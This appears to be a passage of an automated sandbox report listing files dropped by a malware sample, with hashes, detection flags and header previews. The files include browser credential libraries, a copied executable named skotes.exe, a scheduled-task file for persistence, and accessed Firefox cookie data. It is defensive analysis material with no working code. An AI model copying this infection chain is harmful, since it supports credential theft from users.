Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3283968
Entropy (8bit):	6.678054738991222
Encrypted:	false
SSDEEP:	49152:FvZoXqJlTtX3R5qyZoAzz9FO7j/T6+iNY855UCd5wLQbfnV:FvWXiTtX3R5qCoyz9FC7m+qriLsN
MD5:	1E56CDAE7CE19C602053F77FC496F4F8
SHA1:	3B72F03493EB075470C264F304F72AE9EF2C6AA5
SHA-256:	39EE37718C51FDDDABC50C08272E39727897500A6B8C4128DBD2DFD8C0BDA286
SHA-512:	25D3E309ED2373CD12A59834986D98F84F6B596A1134EBB69B6A086CA3674CBBE9EA6BE2F24CE2298614DFBA41FE5CC0EEC3FC69DE4FD76658B2C9870DC047AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.......3...@.................................W...k...........................T.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...pwiaqwpe.`+......^+.................@...ivzhtbht......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.371570091544326
Encrypted:	false
SSDEEP:	48:SfNaoQBTEQKfNaoQUQYfNaoQmFmQmGfNaoQao0UrU0U8Qs:6NnQBTEQSNnQUQkNnQmFmQmuNnQao0Uf
MD5:	FA95BFDD3BD9D426F17F0787A8AA8AA4
SHA1:	58B9D060028629D08E51BED904E4BB2B693D2542
SHA-256:	D00C773E310CD9054D3680ED0AF5BA4AB1800E5C34F74AEB7BA3201588B92B6D
SHA-512:	5CA1357967FD22F719DDC2B04D2D6E04D363CE905E00997E912F9A412992D476ADC8E85F358EE3028E030DC852015D88462C6D586C0356DC0A06223C0B8F20E6
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/09A318781EE01800719AE88547E2AEA7",.. "id": "09A318781EE01800719AE88547E2AEA7",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/09A318781EE01800719AE88547E2AEA7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B3174AFA7BB53E9DCC015B91EAF5FB5A",.. "id": "B3174AFA7BB53E9DCC015B91EAF5FB5A",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B3174AFA7BB53E9DCC015B91EAF5FB5A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\BY5BeYh[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	851968
Entropy (8bit):	7.939863323834312
Encrypted:	false
SSDEEP:	24576:G7ypx8QVyGFZ1hY0Rlh6nKjfDlJxCtecSsdV:G7aRoGFZ1Hny8CcczL
MD5:	DC221E07A4F28AB41F00EC3120BC2BB3
SHA1:	54560F12CFBCBEB7B88021335809CB07A8D551BC
SHA-256:	722A21144393277E32D7AAEBD3F4108FC60D1B89734797DBF4127C25DA28C1DC
SHA-512:	0B393F9955C51AA2186D4837956021A42333DAB48E7BFC2FF5A417C65213D98BC96BECCC7B18F3BEDAEB9E0B1B39B198B4A1F4E041E71F23325FD849675B4E9B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg.............................PJ...........@...........................J...........@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......D..............@... ..*..@.......F..............@...qinosobo. ... 0......H..............@...vuaywpxb.....@J......Z..............@....taggant.0...PJ.."...`..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1012713001\BY5BeYh.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835584
Entropy (8bit):	7.940257333148827
Encrypted:	false
SSDEEP:	24576:G7ypx8QVyGFZ1hY0Rlh6nKjfDlJxCtecSs1:G7aRoGFZ1Hny8Cccz1
MD5:	DD58713FAA24AC08918CC6E163AA13CC
SHA1:	47D413ACA7C61DB9A1FE1069C43E390C157BD94A
SHA-256:	1EA44917A6632B09C662362324004424EE2C6BB74FD37112EB6FEE36803542CF
SHA-512:	2A71A795F449121A00374E72D412125E5DCF1A5F4AF125D5D8804A96A6F9E4E17C7428A09C46AC9C67D146A7DB388FEA8595F7CC415F76FA4BCDEC1BC3A8C64D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg.............................PJ...........@...........................J...........@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......D..............@... ..*..@.......F..............@...qinosobo. ... 0......H..............@...vuaywpxb.....@J......Z..............@....taggant.0...PJ.."...`..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\KJJJKFIIIJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3283968
Entropy (8bit):	6.678054738991222
Encrypted:	false
SSDEEP:	49152:FvZoXqJlTtX3R5qyZoAzz9FO7j/T6+iNY855UCd5wLQbfnV:FvWXiTtX3R5qCoyz9FC7m+qriLsN
MD5:	1E56CDAE7CE19C602053F77FC496F4F8
SHA1:	3B72F03493EB075470C264F304F72AE9EF2C6AA5
SHA-256:	39EE37718C51FDDDABC50C08272E39727897500A6B8C4128DBD2DFD8C0BDA286
SHA-512:	25D3E309ED2373CD12A59834986D98F84F6B596A1134EBB69B6A086CA3674CBBE9EA6BE2F24CE2298614DFBA41FE5CC0EEC3FC69DE4FD76658B2C9870DC047AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.......3...@.................................W...k...........................T.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...pwiaqwpe.`+......^+.................@...ivzhtbht......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\KJJJKFIIIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3283968
Entropy (8bit):	6.678054738991222
Encrypted:	false
SSDEEP:	49152:FvZoXqJlTtX3R5qyZoAzz9FO7j/T6+iNY855UCd5wLQbfnV:FvWXiTtX3R5qCoyz9FC7m+qriLsN
MD5:	1E56CDAE7CE19C602053F77FC496F4F8
SHA1:	3B72F03493EB075470C264F304F72AE9EF2C6AA5
SHA-256:	39EE37718C51FDDDABC50C08272E39727897500A6B8C4128DBD2DFD8C0BDA286
SHA-512:	25D3E309ED2373CD12A59834986D98F84F6B596A1134EBB69B6A086CA3674CBBE9EA6BE2F24CE2298614DFBA41FE5CC0EEC3FC69DE4FD76658B2C9870DC047AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.......3...@.................................W...k...........................T.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...pwiaqwpe.`+......^+.................@...ivzhtbht......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\KJJJKFIIIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.471092240512075
Encrypted:	false
SSDEEP:	6:r85UmMtXUhXUEZ+lX1CGdKUe6tE9+AQy0lJt0:A5s4Q1CGAFD9+nVJt0
MD5:	7B28036BF6BD97316963EECA07ABB1A5
SHA1:	824C9BAB452E67BFAFE472E412946AAE0183507A
SHA-256:	4A3CB7796733C9246018DC7DF1BE6997B97F0049BF812015B21304610FF7D82D
SHA-512:	F9388C54D28ACE192D212104AD3DEF82E12526CCFE55F089D7D54BC756DA30D2036F4043D8CCD08A07C310C31816FAFCBFE0CC534553241F03D2F04F73BFCB82
Malicious:	false
Preview:	......V...J..p...6F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0................./.@3P.........................

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (799)
Category:	downloaded
Size (bytes):	804
Entropy (8bit):	5.171606790501203
Encrypted:	false
SSDEEP:	24:MKT/hEtaB3wdBHslgT9lCuABuoB7HHHHHHHYqmffffffo:RZEt4MKlgZ01BuSEqmffffffo
MD5:	EAF65AFB2A6BC1486217D091CFF1C5B7
SHA1:	051661E54969315F1C3F023E0B0484D7F45E197B
SHA-256:	36B3182286849806B77ECA06A82BE82D78E514F1C560C39CC9F907207763204E
SHA-512:	669A4DE4E258E5178FB6AE6D33188FD2E2B144F99614CE624C9FFCE45DE390A9DE36DFD28F55879ACE047B133EB4AAE72086DD8C03C6AF9B47D79E1AE7B48D42
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["philadelphia eagles injury report","mortgage rates today","nurse hannah flinching","disney dreamlight valley unlock sally","snow storm weather forecast","samsung galaxy s25","dove x crumbl cookies body wash","critics choice awards nominations"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134253
Entropy (8bit):	5.441566213586684
Encrypted:	false
SSDEEP:	3072:fPkX33ov7GsG688fJbk/5xnskLWjwR2i6o:fw3lr6t2/5xnskawR8o
MD5:	341CBBAD3898D1E69626994E6DB0AAE7
SHA1:	54F6521D22058C8ADEBC0460ADBB042201C3AA78
SHA-256:	875525EEF82EA232322A0459484033D14C6CB7D52A8B35E4E21D3C183713147D
SHA-512:	2BDA352D76D4201DD45697BCDCD5D685685E9EE7098AAACA3D20D650E0B50774B50B3A0E51D81154F5F825A78D460C0E66454DDB879428E1D865CFFC2CCAD861
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
